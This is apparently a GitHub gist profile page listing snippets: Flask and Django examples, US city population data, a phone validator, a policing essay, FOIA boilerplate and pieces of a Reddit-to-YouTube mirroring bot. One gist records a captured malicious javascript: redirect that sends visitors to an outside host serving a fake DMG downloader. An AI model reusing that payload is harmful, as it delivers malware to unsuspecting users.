Skip to content

Instantly share code, notes, and snippets.

View Miserlou's full-sized avatar

Rich Jones Miserlou

View GitHub Profile
@Miserlou
Miserlou / flask_binary.py
Created February 17, 2017 19:07
Flask serving binary data example
import io
from flask import Flask, send_file
app = Flask(__name__)
@app.route('/logo.jpg')
def logo():
"""Serves the logo image."""
with open("logo.jpg", 'rb') as bites:
@Miserlou
Miserlou / gist:11500b2345d3fe850c92
Created April 27, 2015 21:20
1000 Largest US Cities By Population
Largest 1000 Cities in America
2013 popuation data - Biggest US Cities By Population
rank,city,state,population,2000-2013 growth
1,New York,New York,8405837,4.8%
2,Los Angeles,California,3884307,4.8%
3,Chicago,Illinois,2718782,-6.1%
4,Houston,Texas,2195914,11.0%
5,Philadelphia,Pennsylvania,1553165,2.6%
@Miserlou
Miserlou / cities.json
Created April 30, 2015 06:58
1000 Largest US Cities By Population With Geographic Coordinates, in JSON
[
{
"city": "New York",
"growth_from_2000_to_2013": "4.8%",
"latitude": 40.7127837,
"longitude": -74.0059413,
"population": "8405837",
"rank": "1",
"state": "New York"
},
@Miserlou
Miserlou / ustel.html
Created January 29, 2017 02:00
Validating a US (or international) phone number with Parsley and libphonenumber-js
<!-- requirements -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/parsley.js/2.6.2/parsley.min.js"></script>
<script src="https://halt-hammerzeit.github.io/libphonenumber-js/libphonenumber-js.min.js"></script>
<!-- custom validator -->
<script type="text/javascript">
$(document).ready(function() {
window.Parsley.addValidator('ustel', {
requirementType: 'string',
validateString: function(value) {
@Miserlou
Miserlou / bully_cop_veto.md
Created June 6, 2020 18:36
The Bully Cop Veto

The Bully Cop Veto

A simple democratic tool will give people the basic democratic dignity of getting to choose who polices their communities.

"All cops are bastards." That's not as bad as it sounds, really - lots of people are bastards. Many of my friends are bastards. I can be a bit of a bastard myself.

I'm not, however, a sadistic psychopath. Bastards, sure, but not all cops are sadistic psychopaths, either - but there are thousands of them all over the country. They sit at the very center of America's police oppression problem - the Bully Cops.

When I say the Bully Cop, you all immediately know exactly who I mean. I've met a few in my life, maybe you have too. If you haven't, consider yourself lucky, but you've certainly seen them in any of the shaky cell-phone videos showing the brutal, murderous police violence that we all know familiarly, but never get used to.

They're the particular type of people who are attracted to the job for all of the wrong reasons. They don't want to improve their commu

@Miserlou
Miserlou / Executive Order 13526 Copypasta.txt
Created February 7, 2017 21:18
Executive Order 13526 Copypasta
In the event that the contents of any of the requested documents are classified under Executive Order 13526, I also make the following additional requests:
Pursuant to section 1.2 of Executive Order 13526, I am requesting the level of classification of this information and its existence/nonexistence.
Pursuant to section 1.3 of Executive Order 13526, I am requesting the specific authority which classified this information.
Pursuant to section 1.4 of Executive Order 13526, I am requesting the specific classification categories of this information, as well as an identification or description of the damage to national security which the disclosure of this information would produce.
Pursuant to section 1.5 of Executive Order 13526, I am requesting the specific duration of time for which this classification will stand.
@Miserlou
Miserlou / dict.django.html
Created February 14, 2012 21:55
Django Dictionary
<ul>
{% for key, value in dictionary.items %}
<li><a href="{{key}}">{{value}}</a></li>
{% endfor %}
</ul>
@Miserlou
Miserlou / gist:749ff87f03d4a7fee03a4b4730904347
Created February 3, 2017 06:02
ZippyShare Malware Downloader
Opens a fake DMG downloader, injected into the title bar and executed:
javascript:window.opener=null;setTimeout(function(){window.location.href='http://onderlea.info/ajNYbEVVFSwFIVcFal1zXwV+HiAODmlKJAhHZV5jHA5pQndfHWlCd0xGZV8jXgJrCHVfATtddlkKOgkjWQI+VXZfBG1YJlJSYVtzTFUrUXRMWj5RdUxANVFxWxUzUT8DQygVNgJSKglgWAMqCSQGFmpcIRhGNR9jGFY+US0eRyhJdisWaipgWHUvGzJbAHYWLBpDIR8tC0E9QiYFXn1eAxwWaipzH2cSDQApfH1eAwxaNAlrAkc1AGMJR2VZYwlHO1FxTEAsH3hbFTcfN1cVKB4rVwN+'},250)
@Miserlou
Miserlou / upload.py
Created November 7, 2017 19:37
uploader
print("Starting upload..")
title = s_title + ' - by u/' + submission.author.name + " to " + submission.subreddit.url
description = "Originally posted to " + submission.url + ". This video is uploaded by a bot for the convenience of mobile reddit users. Sorry about your copyright."
output = subprocess.check_output([ "/usr/bin/python2.7",
"youtube-upload/bin/youtube-upload",
outfile,
"--title",
title,
"--client-secrets",
@Miserlou
Miserlou / reply.py
Created November 7, 2017 19:37
reply
video_url = "https://www.youtube.com/watch?v=" + video_id
reply_body = "**[YouTube Mirror](" + video_url + ")**.\n\n_Reddit2YouTube Bot by miserlou, who hates the new reddit video player._"
submission.reply(reply_body)
print("Posted to: " + submission.url)